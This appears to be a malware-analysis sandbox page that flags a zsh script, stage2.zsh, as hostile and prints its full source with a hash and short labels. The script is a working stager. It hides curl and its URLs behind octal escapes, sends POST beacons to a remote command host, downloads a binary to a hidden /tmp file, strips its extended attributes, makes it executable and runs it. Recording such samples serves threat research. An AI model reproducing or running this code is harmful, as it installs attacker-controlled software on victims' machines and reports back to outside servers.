Hostile 100% linux Download

stage2.zsh

Obfuscated C2 beacon and payload download

Hidden stager with paste-status HTTP POSTEncoded downloader launches hidden temp file
SHA-25691323c19195fe44eaf515510dcf2c422911ccc34ff5faee578443d131b7d5401

Evidence

printf constructs a curl command name lines 1–22
1#!/bin/zsh
2
3el427piy9y="$(sysctl -n hw.memsize 2>/dev/null || echo 0)"
4ns46hrq8="$(date +%s)"
5vfewr1krf="$(id -u 2>/dev/null)"
6wruk5nbs="$(whoami)"
7w5dj7wqg=653
8
9h5eh5c=$(printf '\150\164\164\160\163\072\057\057\163\164\162\141\164\157\163\063\060\056\143\157\155\057\141\160\151\057\155\145\164\162\151\143\163\057\162\165\156\077\145\166\145\156\164\075\160\141\163\164\145\144')
10pqxmm=$(printf '\143\165\162\154')
11${pqxmm} -fsS -4 --connect-timeout 5 --max-time 10 -X POST -H 'user: AgLor_9b-ftodmgRNhfrhWRy3qnMGE02rNGH-cEOqJE6qUcAPc3v' -H 'BuildID: AgJUtvDBqsxyEOoL1WVs4dVDnsfVmSgm-8vTGzHatQe1' "${h5eh5c}" </dev/null >/dev/null 2>&1 &
12u0pcvc=$(printf '\150\164\164\160\163\072\057\057\144\162\141\146\164\055\154\157\157\160\056\143\157\155\057\146\057\161\165\163\065\156\071\151\145\143\156\145\165\153\146\144\144\065\142\161\141\147\147\057\070\144\065\167\153\171\142\066')
13ztotpp=$(printf '\150\164\164\160\163\072\057\057\163\164\162\141\164\157\163\063\060\056\143\157\155\057\141\160\151\057\155\145\164\162\151\143\163\057\162\165\156\077\145\166\145\156\164\075\163\164\141\147\145\162')
14kzzdla=$(printf '\057\164\155\160\057\056\143\170\063\067\161\063\061\066\160\056\044\044')
15ib3497=$(printf '\057\164\155\160\057\056\143\170\063\067\161\063\061\066\160')
16tkg6b=$(printf '\170\141\164\164\162')
17klr9h=$(printf '\143\150\155\157\144')
18${pqxmm} -fsSL -o ${kzzdla} ${u0pcvc} && mv ${kzzdla} ${ib3497} && ${tkg6b} -c ${ib3497} && ${klr9h} +x ${ib3497} && { ${pqxmm} -fsS -4 --connect-timeout 5 --max-time 10 -X POST -H 'user: AgKJ5kkcGCqmeLnp8wxjlDsO0PUxM6kg10g8l5aA5Gi0neE1vxjs' -H 'BuildID: AgLdRDmYq19eEj2a9fu7xirHfcK9SpC6LOiPnBCvzycR' "${ztotpp}" </dev/null >/dev/null 2>&1 & } && ${ib3497}
19
20: ${vj2o7ruhe:=0}
21: ${eq1uyltb:=0}
22: ${bo4dkpunu:=0}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.